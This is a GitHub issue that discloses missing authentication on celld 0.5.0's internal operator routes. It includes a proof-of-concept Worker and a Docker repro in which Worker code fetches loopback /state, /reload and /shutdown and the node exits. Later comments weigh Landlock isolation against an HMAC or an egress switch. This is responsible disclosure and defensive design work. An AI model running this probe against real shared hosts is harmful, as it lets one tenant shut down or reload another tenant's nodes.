Operator routes are reachable from Worker code across fleets sharing a host
sandros94 opened ·
I'm mostly making sure to follow the limits and security practices.
[`docs/security.md`](https://github.com/denoland/celld/blob/v0.5.0/docs/security.md) says the application is trusted within _its own_ fleet, and that a trusted private network protects the internal listener. I think there is a gap between the two: a Worker's outbound `fetch` starts on the node, so it is already inside that network.
From a deployed Worker, against celld 0.5.0:
| request | answer | | --- | --- | | `GET http://127.0.0.1:<internal>/state` | `200`, the node state | | `POST http://127.0.0.1:<internal>/reload` | `200`, `"outcome":"adopted"` | | `POST http://127.0.0.1:<internal>/shutdown` | `200 {"ok":true}`, and the node drains and exits |
For a single fleet this is within the security model, the app is trusted there. But the fleet is also the isolation unit ([_"do not run code from mutually distrusting tenants in one fleet"_](https://github.com/denoland/celld/blob/v0.5.0/docs/security.md?plain=1#L10-L11)), and two fleets can share a host or a private network. In that setup the Worker of fleet A can `/shutdown`, `/evict` or `/reload` a node of fleet B, since the operator routes carry no authentication at all.
Would you consider requiring the fleet HMAC on the operator routes too, like the peer-control routes already do? A Worker holds no bucket credentials, so it could never read another fleet's `fleet/peer-auth.json`, and nothing changes for a fleet's own operators.
### Reproduction
A simple `celld` + SeaweedFS, in Docker. With a `app/wrangler.jsonc` as test:
```jsonc { "name": "probe", "main": "index.js", "compatibility_date": "2026-01-01", "no_bundle": true } ```
`app/index.js`:
```js const TARGETS = [ ["GET", "http://127.0.0.1:8081/state"], ["POST", "http://127.0.0.1:8081/reload"], ["POST", "http://127.0.0.1:8081/shutdown"], ]; export default { async fetch() { const out = {}; for (const [method, target] of TARGETS) { try { const r = await fetch(target, { method, signal: AbortSignal.timeout(3000) }); out[`${method} ${target}`] = `${r.status} ${(await r.text()).slice(0, 60)}`; } catch (e) { out[`${method} ${target}`] = `ERR ${String(e).slice(0, 80)}`; } } return Response.json(out); }, }; ```
`repro.sh`, next to `app/`:
```sh CELLD=ghcr.io/denoland/celld:0.5.0 CREDS="-e AWS_ACCESS_KEY_ID=any -e AWS_SECRET_ACCESS_KEY=any -e AWS_REGION=us-east-1" docker network create probe docker run -d --name s3 --network probe chrislusf/seaweedfs:4.42 server -s3 sleep 15 docker run --rm --network probe curlimages/curl -s -X PUT http://s3:8333/fleet docker run --rm --network probe $CREDS -v "$PWD/app:/app:ro" -w /app $CELLD \ deploy --bucket fleet/probe --endpoint http://s3:8333 docker run -d --name node --network probe $CREDS $CELLD \ --bucket fleet/probe --endpoint http://s3:8333 \ --listen 0.0.0.0:8080 --internal-listen 0.0.0.0:8081 --advertise node:8081 sleep 20 docker run --rm --network probe curlimages/curl -s http://node:8080/ sleep 10 docker ps -a --filter name=node # Exited (0) ```
What the Worker answers:
```json { "GET http://127.0.0.1:8081/state": "200 {\"activating\":0,\"activation_waiting\":0,\"adopting\":0,\"capacit", "POST http://127.0.0.1:8081/reload": "200 {\"generation\":2,\"ok\":true,\"outcome\":\"adopted\",\"prefix\":\"depl", "POST http://127.0.0.1:8081/shutdown": "200 {\"ok\":true}" } ```
and ten seconds later `docker ps -a` shows `node Exited (0)`.
- SA
Out of curiosity I've tested something: Landlock network isolation does the job and indeed would gate properly each fleet under the same host already. This is already usable in most LTS distros (I've tested it on kernels >=6.18).
At that point the only a compromised dependency could escape celld's isolate and gain the S3 credentials. But it is already part of the security model (one bucket per application), so the damage is _contained_.
EDIT: for anyone interested https://github.com/landlock-lsm/rust-landlock
- SA
A follow up after spending more time on the Landlock route: it works, but I would say it is the wrong layer for this.
1. Landlock only knows TCP _port numbers_, never addresses, and only as an allow-list. "Everything but the other fleets' internal ports" ends up being ~65k rules, which I measured at roughly 14 MB of kernel memory per fenced process 2. the rules are frozen at exec, while a peer's internal port is only known once that peer exists, so every fleet needs one fixed internal port across all of its nodes 3. network rules need a 6.7 kernel, scoping a 6.12 one. distros like Debian 12 gets neither
What I am actually after is much smaller: a Worker's `fetch`/`connect` should not be able to reach loopback nor the node's own addresses. You already do the equivalent for containers with the nftables fence (no node, no private ranges, no link-local), but that needs root, while the runtime itself could refuse those destinations before dialing, no privileges involved.
Speaking of privileges, whichever route you end up picking, IMO it should not require any, nor be tied to Docker (or to any container engine at all): plenty of nodes could run rootless, under Podman, k8s or straight on the host.
So two possible shapes, not mutually exclusive:
- the fleet HMAC on the operator routes, as per the original ask - an opt-in switch that denies Worker egress to loopback and to the node's own addresses (eventually the private ranges too, like the container fence)
Would either be in scope?
mattfyshsubscribedlast month on GitHub